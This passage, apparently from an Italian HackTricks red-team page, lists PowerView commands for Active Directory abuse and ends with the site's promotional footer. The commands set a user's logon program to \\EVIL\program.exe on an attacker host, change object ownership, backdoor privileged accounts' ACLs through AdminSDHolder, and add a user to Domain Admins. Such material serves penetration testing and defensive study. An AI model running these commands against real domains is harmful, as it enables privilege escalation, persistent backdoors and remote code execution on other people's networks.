Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# Backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata in HackTricks? o vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PIANI DI ABBONAMENTO!
- Scopri La Famiglia PEASS, la nostra collezione di esclusive NFT
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo hacktricks e al repo hacktricks-cloud.